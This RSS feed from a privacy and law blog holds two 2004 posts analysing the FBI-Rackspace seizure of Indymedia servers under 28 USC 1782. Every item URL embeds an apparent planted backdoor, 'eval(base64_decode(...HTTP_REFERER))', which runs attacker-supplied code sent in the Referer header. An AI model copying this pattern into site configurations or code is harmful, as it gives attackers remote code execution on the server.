<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>parrhesia.com &#187; Search and seizure</title>
	<atom:link href="http://parrhesia.com/category/search-seizure/feed/" rel="self" type="application/rss+xml" />
	<link>https://parrhesia.com</link>
	<description>politics, technology, law -- privacy, surveillance, cryptography</description>
	<lastBuildDate>Sun, 15 Apr 2007 06:42:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title></title>
		<link>https://parrhesia.com/2004/10/09/11/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>https://parrhesia.com/2004/10/09/11/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 10 Oct 2004 02:05:47 +0000</pubDate>
		<dc:creator>Greg Broiles</dc:creator>
				<category><![CDATA[Search and seizure]]></category>

		<guid isPermaLink="false">http://blog.parrhesia.com/archives/11</guid>
		<description><![CDATA[More re Indymedia - sent to John Young&#8217;s Cryptome mailing list Message-ID: &#60;4918801a0410091806728a832@mail.gmail.com> Date: Sat, 9 Oct 2004 18:06:24 -0700 From: Greg Broiles To: John Young Subject: Re: [Cryptome] Indymedia Raid Cc: cryptome@cryptome.org In-Reply-To: On Sat, 09 Oct 2004 20:03:03 -0700, John Young wrote: > Greg, > > I understand the action taken in the [...]]]></description>
			<content:encoded><![CDATA[<p> More re Indymedia -</p>
<p>sent to John Young&#8217;s <a href="http://cryptome.org/mailman/listinfo/cryptome">Cryptome mailing list</a></p>
<pre>
    Message-ID: &lt;4918801a0410091806728a832@mail.gmail.com>
    Date: Sat, 9 Oct 2004 18:06:24 -0700
    From: Greg Broiles
    To: John Young
    Subject: Re: [Cryptome] Indymedia Raid
    Cc: cryptome@cryptome.org
    In-Reply-To:

    On Sat, 09 Oct 2004 20:03:03 -0700, John Young wrote:
> Greg,
>
> I understand the action taken in the US, but was not
> a similar action required directly in the UK for physical
> property located there? Or are these remote-controlled
> actions capable of reaching into secondary countries?
> I know that Rackspace is responsible for the UK sub,
> but does not UK law require a grounds for any action
> on its territory?

    I don't know what UK law requires - from a US law perspective, I would
    expect the US company to be in hot water with a US judge if it didn't
    cooperate with US legal process, even if the subject of the order
    happened to be outside the territorial US.

> Second, could Rackspace not have contested the order, or
> is such an order from a "Commissioner" not contestable?
> Or did Rackspace just roll over?
>
> Then, perhaps Rackspace contested and can not reveal that.

    Rackspace could have contested the subpoena in US court if they chose
    to; the order appointing the Commissioner is a final appealable order,
    so this could have even gone up the appeals chain to the Court of
    Appeals and been offered to the US Supreme Court, if the parties had
    been inclined to do so.

    I don't know if Rackspace did contest the order, and the record is
    sealed (or difficult to find online), or if Rackspace declined.

> Did you find any evidence that Rackspace had a reason to
> go along beyond the court order, say, government business
> or problems with the government.

    I don't know of anything one direction or the other - I recall that
    Verio was relatively independent in its judgement regarding legal
    process, until they were purchased by a Japanese company, and the US
    government raised the issue that Verio's facilities might then be
    outside the reach of US law enforcement/intelligence subpoenas and
    process, and Verio then expressed a willingness to be as cooperative
    as other ISP lap-dogs.

> Peculiar that Rackspace does not make an effort to
> explain why its custormer's interest was not paramount.

    I would not be surprised if the subpoena itself directs Rackspace to
    keep the existence or contents of the subpoena (and the items(s)
    produced in response) confidential - I am not certain that the
    "commissioner" would have a defensible basis for making such a demand,
    especially absent an order from a real US judge or magistrate allowing
    for such a secrecy order.

    On the other hand, in these days of the Patriot Act, it's hard to be
    sure that there hasn't been some obscure legislation passed allowing
    the issue of (probably unconstitutional) secrecy orders.

    My hunch is that there isn't a defensible secrecy order in place here,
    since the FBI and Rackspace have been willing to talk to the press -
    in other cases (such as the ACLU suit re National Security Letters)
    the parties have acted much more circumspect in even discussing the
    existence of an active case.

    I think there are two aspects to this case which are of interest: the
    appropriateness of the seizure/disclosure, and the interruption of
    service to the Indymedia servers.

    So far, I haven't heard anything which suggests that the disclosure
    was legally incorrect, although Rackspace could probably have resisted
    it more vigorously.

    On the other hand, I think it's harder to justify failing to restore
    the machine to service after the FBI got what they asked for.

    Assuming that the FBI asked for the actual, physical hard disk, it
    still seems that Rackspace could/should have restored Indymedia's
    server from backup, allowing them to continue to function while the
    FBI continued with their work. In particular, I note that Rackspace's
    website at
    seems to suggest that all Rackspace servers are centrally backed up,
    such that it should have been possible for them to restore Indymedia
    to service within a few hours.

    Given what's now known about this incident, I'm having a hard time
    imagining what the foreign government(s) wanted as evidence from the
    hard disk(s). It's not like there's a lot of room to dispute whether
    or not the photos in question were being served from that machine.

    Rather, I suspect that the purpose of this action was to disrupt
    operation of the Indymedia sites, which is certainly not what Congress
    intended when they enacted 28 USC 1782 - nor even what was likely
    contained in the application to the US district judge/magistrate for
    designation of the AUSA as a commissioner.

    Nothing in this message is intended as legal advice.

    --
    Greg Broiles, JD, EA
    gbroiles@gmail.com (Lists only. Not for confidential communications.)
    Law Office of Gregory A. Broiles
    San Jose, CA
</pre>
]]></content:encoded>
			<wfw:commentRss>https://parrhesia.com/2004/10/09/11/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>https://parrhesia.com/2004/10/09//%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>https://parrhesia.com/2004/10/09//%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 09 Oct 2004 22:51:41 +0000</pubDate>
		<dc:creator>Greg Broiles</dc:creator>
				<category><![CDATA[Search and seizure]]></category>

		<guid isPermaLink="false">http://blog.parrhesia.com/archives/12</guid>
		<description><![CDATA[I did some reading re the Indymedia incident where computer(s) used to operate a collection of news websites were turned over to the US government, apparently pursuant to a request from a foreign government. As I understand the facts (chiefly from the above details at Cryptome), Rackspace, a webhosting/colocation provider based in the US, removed [...]]]></description>
			<content:encoded><![CDATA[<p>I did some reading re the <a href="http://cryptome.org/fbi-imc/fbi-imc-doc.htm">Indymedia incident</a> where computer(s) used to operate a <a href="http://www.indymedia.org/en/index.shtml">collection of news websites</a> were turned over to the US government, apparently pursuant to a request from a foreign government.<br />
<span id="more-12"></span><br />
As I understand the facts (chiefly from the above details at <a href="http://cryptome.org">Cryptome</a>), <a href="http://www.rackspace.com">Rackspace</a>, a webhosting/colocation provider based in the US, removed a machine which had been in service in its London, UK facility. That machine had been used to serve websites operated by a number of international Indymedia groups. As a result, the websites were rendered unavailable (at least temporarily), and data on the machines may now be inaccessible to the customers and users.</p>
<p>One fact which is unclear to me, from published reports, is whether or not the hardware in question belonged to Rackspace but was rented/leased to Indymedia, or if the hardware actually belonged to Indymedia or its member(s). My impression is that Rackspace&#8217;s business model focuses on managing giant farms of identical machines which they own, but lease on a month-to-month basis to their customers, who then administer them (with &#8216;root&#8217; access) as if they were the owners.</p>
<p>As I understand the process, this is what has probably happened in this case:</p>
<p>   1. Foreign Government contacted the US State Department, asking for assistance with a foreign prosecution<br />
   2. US State Department contacted the Office of International Affairs, Criminal Division, US Dept of Justice<br />
   3. US DOJ contacted the US Attorney&#8217;s Office for (probably) Western District of Texas<br />
   4. An Assistant US Attorney ( = federal prosecutor) from the WD TX office filed a motion with the US <a href="http://www.txwd.uscourts.gov/">District Court for the WD of TX</a>, requesting that s/he be named a &#8220;commissioner&#8221; of the court<br />
   5. The USDC granted the request<br />
   6. As a &#8220;commissioner&#8221;, the federal prosecutor issued a subpoena to Rackspace, directing them to provide testimony/documents/physical items to the federal prosecutor, in aid of the foreign prosecution, which were then passed up the chain to the foreign government.</p>
<p>I was not able to find, using <a href="http://pacer.psc.uscourts.gov/">Pacer</a> (the online docket system for US federal courts), a docket entry for this proceeding. That might mean that it&#8217;s not publicly available &#8211; it might also mean that I wasn&#8217;t able to guess what the name of the proceeding would be in the WD of TX, since different courts/clerks/attorneys may use different names in the captions/titles of the filings.</p>
<p>Given what I did find using Pacer, I would not assume that the Foreign Government involved in this proceeding was necessarily one of the signatories to the MLAT &#8211; I found docket entries discussing a <a href="http://assembler.law.cornell.edu/uscode/html/uscode28/usc_sec_28_00001782----000-.html">1782</a> request from the government of Switzerland (e.g., in the District of<br />
New Jersey, case number 2:04-mc-00254-JCL, &#8220;LETTER OF REQUEST FROM SWITZERLAND PURSUANT TO THE TREATY BETWEEN THE UNITED STATES OF AMERICA AND THE SWISS CONFEDERATION ON MUTUAL ASSISTANCE IN CRIMINAL MATTERS&#8221;), as well as one from Sierra Leone, neither of which is apparently a signatory of MLAT.</p>
<p>I saved a list of the federal cases where Rackspace appears as a named party at <a href="http://parrhesia.com/rackspace.txt">http://parrhesia.com/rackspace.txt</a> and an example of another order pursuant to <a href="http://assembler.law.cornell.edu/uscode/html/uscode28/usc_sec_28_00001782----000-.html">28 USC 1782</a> at <a href="http://parrhesia.com/khoo.pdf">http://parrhesia.com/khoo.pdf</a>.</p>
<p>Readers with access to a law library or an online research service may find In re Letter of Request from Crown Prosecution Service of United Kingdom 870 F.2d 686 (C.A.D.C.,1989) helpful re background on the history of 28 USC 1782 and the procedure employed in using it.<br />
<a href="http://story.news.yahoo.com/news?tmpl=story&#038;cid=1509&#038;ncid=738&#038;e=6&#038;u=/afp/20041008/tc_afp/us_internet_justice"><br />
This story</a> courtesy of Yahoo News quotes FBI spokesperson Joe Parris as confirming that the request was made by US authorities at the request of the Italian and Swiss governments.</p>
]]></content:encoded>
			<wfw:commentRss>https://parrhesia.com/2004/10/09//%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
